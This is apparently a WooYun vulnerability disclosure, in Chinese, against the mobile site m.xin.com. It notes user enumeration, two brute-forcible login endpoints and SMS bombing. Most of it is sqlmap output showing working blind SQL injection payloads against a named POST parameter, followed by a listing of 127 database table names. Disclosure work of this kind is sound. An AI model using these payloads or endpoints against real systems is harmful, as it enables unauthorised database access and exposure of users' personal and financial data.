WooYun.org

1.登录注册可以判断用户手机号是否注册，收集信息

2.登录处和登陆后两处可进行爆破
POST /login/check/
POST /getpasswd/check_pass/
3.m.xin.com存在短信轰炸

4.sql注入一枚
POST http://m.xin.com/evaluate_car/get_st_info/
type=s&id=159&is_pcar=1
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=s&id=159' AND 2791=2791 AND 'FbWZ'='FbWZ&is_pcar=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: type=b&id=89' AND (SELECT * FROM (SELECT(SLEEP(5)))ywIr) AND 'atra'='atra&is_pcar=1
---
Database: xin
[127 tables]
+-----------------------------+
| column |
| user |
| activity |
| activity_car |
| ad_banner |
| app_discover |
| article |
| article_corre |
| article_recom |
| bank |
| bank_log |
| bookstudio |
| buycar_shrewd |
| call_data |
| call_data_zdh |
| call_tel_set |
| car |
| car_20150811 |
| car_detail |
| car_half_apply |
| car_half_apply_201508210400 |
| car_half_apply_data |
| car_half_audit |
| car_half_audit_log |
| car_half_detail |
| car_half_remark |
| car_off |
| car_pic |
| car_pic_tag |
| car_tag_operate_log |
| card_bin |
| case_analyze |
| check_list |
| check_result |
| city |
| city_all |
| city_area |
| city_che168 |
| city_province |
| collect_car |
| collect_dealer |
| collect_dealer_transfer |
| collect_device |
| collect_log |
| collect_partner |
| collect_pic |
| collect_remark |
| collect_revist |
| comment |
| con_bloc |
| con_market |
| con_qa |
| contract_confirm |
| credit_auth |
| cx_brand |
| cx_make |
| cx_mode |
| cx_mode_config |
| cx_mode_config_custom |
| cx_mode_config_dict |
| cx_mode_desc |
| cx_mode_map_iautos |
| cx_mode_map_iautos_ |
| cx_mode_map_new |
| cx_series |
| cx_series_custom |
| dealer |
| dealer_msg |
| dealer_score |
| dealer_sms_message |
| dealer_user |
| delay_fee |
| feedback |
| finance_income |
| finance_sub |
| half_saler |
| half_saler_car |
| help |
| hot |
| invite_code |
| notice |
| outstock_queue |
| person_credit |
| pos_addself |
| pos_data |
| rbac_action |
| rbac_actionrole |
| rbac_log |
| rbac_master |
| rbac_master_login |
| rbac_masterrole |
| rbac_resrole |
| rbac_role |
| report |
| ry_msg |
| ry_token |
| score_list |
| self_apply_dealer |
| seller_remark |
| shed_order |
| sms_message |
| sphinx_incr_car |
| statistics_search_day |
| statistics_search_total |
| stats_app |
| stats_day |
| stats_performance_record |
| stats_telephone |
| stats_total |
| stats_video_play |
| sub_cars |
| suggest |
| suggest_mem |
| suggest_mem_bak |
| suggest_mem_count |
| suggest_mem_count_bak |
| task_count |
| tool |
| user_comparison |
| user_dealer_fav |
| user_device |
| user_favorite |
| user_subscribe |
| wfj_mernum |
| work_shed |
| xin_order |
| yxp_cxk |
+-----------------------------+